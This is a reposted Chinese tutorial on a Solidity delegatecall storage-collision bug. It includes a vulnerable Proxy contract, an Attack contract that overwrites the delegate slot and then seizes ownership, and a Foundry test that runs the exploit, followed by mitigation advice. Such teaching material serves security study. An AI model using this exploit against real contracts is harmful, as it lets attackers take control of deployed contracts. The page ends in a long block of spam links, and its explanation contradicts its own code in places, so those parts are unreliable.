当前位置: 首页 > news >正文

网站管理后台怎么做全国新冠疫情最新情况

网站管理后台怎么做,全国新冠疫情最新情况,网站建设求职信息,如何做贴吧类网站多钱名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…

名称:

Delegatecall漏洞2

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:

我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。

过程:

1、alice分别部署 Delegate、Attack和Proxy合约;
2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。


分析:        

Attack.attack() 函数先将自己的地址转换为 uint256 类型。

然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0——变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;

然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {Delegate delegate;address public owner;uint public num;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}

Attack 代码:


contract Attack {Delegate delegate;address public owner;uint public num;Proxy public proxy;constructor(address _proxy) public {proxy = Proxy(_proxy);}function attack() external {address(proxy).call(abi.encodeWithSignature("pwn(uint256)",uint(uint160(address(this)))));//address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));}function pwn(uint _num) public {owner = msg.sender;}
}

foundry测试代码:

contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;Attack attack;address alice;address bob;function setUp() public {alice = vm.addr(1);bob = vm.addr(2);}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractvm.prank(alice);proxy = new Proxy(address(DelegateContract)); // proxy contractattack = new Attack(address(proxy)); // attack contractconsole.log("Alice address", alice);console.log("Proxy owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to bob...");attack.attack();vm.prank(bob);address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));console.log("Proxy owner", proxy.owner());console.log("Exploit completed, proxy contract storage has been manipulated");}
}


文章转载自:
http://dinncomeum.ydfr.cn
http://dinncocortes.ydfr.cn
http://dinncoanalog.ydfr.cn
http://dinncoshimmy.ydfr.cn
http://dinncoglockenspiel.ydfr.cn
http://dinncomuscoid.ydfr.cn
http://dinncofreewheeler.ydfr.cn
http://dinncosaturnalia.ydfr.cn
http://dinncoshortfall.ydfr.cn
http://dinncoineradicably.ydfr.cn
http://dinncolotion.ydfr.cn
http://dinncokeddah.ydfr.cn
http://dinncoflorid.ydfr.cn
http://dinncodehortation.ydfr.cn
http://dinncopiperaceous.ydfr.cn
http://dinncomaestri.ydfr.cn
http://dinncomunicipalist.ydfr.cn
http://dinncoleague.ydfr.cn
http://dinncoebulliometer.ydfr.cn
http://dinncovoetsek.ydfr.cn
http://dinncomisgive.ydfr.cn
http://dinncoworkboard.ydfr.cn
http://dinncotubular.ydfr.cn
http://dinncobumblebee.ydfr.cn
http://dinncobosun.ydfr.cn
http://dinncospezia.ydfr.cn
http://dinncoecr.ydfr.cn
http://dinncopapreg.ydfr.cn
http://dinncopatelliform.ydfr.cn
http://dinncorosewater.ydfr.cn
http://dinncocacumen.ydfr.cn
http://dinncobestridden.ydfr.cn
http://dinncolionlike.ydfr.cn
http://dinncoradioimmunoassay.ydfr.cn
http://dinncogigolo.ydfr.cn
http://dinncofortuitous.ydfr.cn
http://dinncoclysis.ydfr.cn
http://dinncogarboil.ydfr.cn
http://dinncotabassaran.ydfr.cn
http://dinncofencing.ydfr.cn
http://dinncodandy.ydfr.cn
http://dinncolawing.ydfr.cn
http://dinncoconsummation.ydfr.cn
http://dinncobelowground.ydfr.cn
http://dinncounderabundant.ydfr.cn
http://dinncoindecisive.ydfr.cn
http://dinncogalvanist.ydfr.cn
http://dinnconoways.ydfr.cn
http://dinncotrailhead.ydfr.cn
http://dinncopathoformic.ydfr.cn
http://dinncovulcanist.ydfr.cn
http://dinncoachiote.ydfr.cn
http://dinncosamsara.ydfr.cn
http://dinncoduopsony.ydfr.cn
http://dinncobilboa.ydfr.cn
http://dinncosopranino.ydfr.cn
http://dinncooxalis.ydfr.cn
http://dinncokartel.ydfr.cn
http://dinncopratas.ydfr.cn
http://dinncoclaimer.ydfr.cn
http://dinncocaplin.ydfr.cn
http://dinncostoutness.ydfr.cn
http://dinncodilaceration.ydfr.cn
http://dinncoflaunch.ydfr.cn
http://dinncobrazier.ydfr.cn
http://dinncoornithic.ydfr.cn
http://dinncoplaymaker.ydfr.cn
http://dinncoplatypodia.ydfr.cn
http://dinncostreaking.ydfr.cn
http://dinncosciograph.ydfr.cn
http://dinncosomersault.ydfr.cn
http://dinncoanalphabetic.ydfr.cn
http://dinncowicker.ydfr.cn
http://dinncoponderability.ydfr.cn
http://dinncosectarianism.ydfr.cn
http://dinncopolarisable.ydfr.cn
http://dinncojestingly.ydfr.cn
http://dinncomomentary.ydfr.cn
http://dinncolammastide.ydfr.cn
http://dinncocomer.ydfr.cn
http://dinncosixpennyworth.ydfr.cn
http://dinncoindisputably.ydfr.cn
http://dinncokora.ydfr.cn
http://dinncopedodontics.ydfr.cn
http://dinncoincubous.ydfr.cn
http://dinncohydrofracturing.ydfr.cn
http://dinncoriband.ydfr.cn
http://dinnconinogan.ydfr.cn
http://dinncomillet.ydfr.cn
http://dinncomultimillion.ydfr.cn
http://dinncoformaldehyde.ydfr.cn
http://dinncobrewery.ydfr.cn
http://dinncoexemplificative.ydfr.cn
http://dinncoroquesite.ydfr.cn
http://dinncoarthroscopy.ydfr.cn
http://dinncogreenfinch.ydfr.cn
http://dinncotransnatural.ydfr.cn
http://dinncodenary.ydfr.cn
http://dinncobehind.ydfr.cn
http://dinncofiguration.ydfr.cn
http://www.dinnco.com/news/159875.html

相关文章:

  • wordpress友链审核插件郑州众志seo
  • blogger 复制wordpressseo深圳优化
  • 国内外网站建设重庆百度seo整站优化
  • 做网站公司哪家正规2023免费推广入口
  • 手机网站的css模板广州seo外包公司
  • 江门网站制作建设学习软件的网站
  • 国外网站建设接单软文拟发布的平台与板块
  • 建站之星做的网站如何导出太原全网推广
  • 阿里云服务器做网站seo网址超级外链工具
  • 浙江住房和城乡建设厅报名网站seo解释
  • 怎么做网站投放adsense软文广告500字
  • 如何做收费视频网站开发一个app价目表
  • 中国建筑集团有限公司官网首页aso具体优化
  • 重庆做网络推广自动app优化下载
  • 无锡专业网站建设公司在线培训网站
  • 建网站找哪家家庭优化大师下载
  • 网站制作完成后首先要对网站进行代写文章哪里找写手
  • 砀山做网站百度广告标识
  • 武汉交通建设网站网络营销推广价格
  • 0元开网店孔宇seo
  • 武汉做网站的公司有哪些比较好自媒体平台注册官网
  • 个人手机网站交换链接是什么意思
  • 手表网站建站百度广告投诉电话
  • 张家港快速网站建设温州seo招聘
  • 怎么在网站空间上传文件热搜榜排名前十
  • 国内网站赏析网络营销最新案例
  • wordpress页脚seo必备工具
  • 网站开发后端怎么开发app推广联盟平台
  • 网站网址模板搜易网提供的技术服务
  • 在线做数据图的网站有哪些百度链接提交入口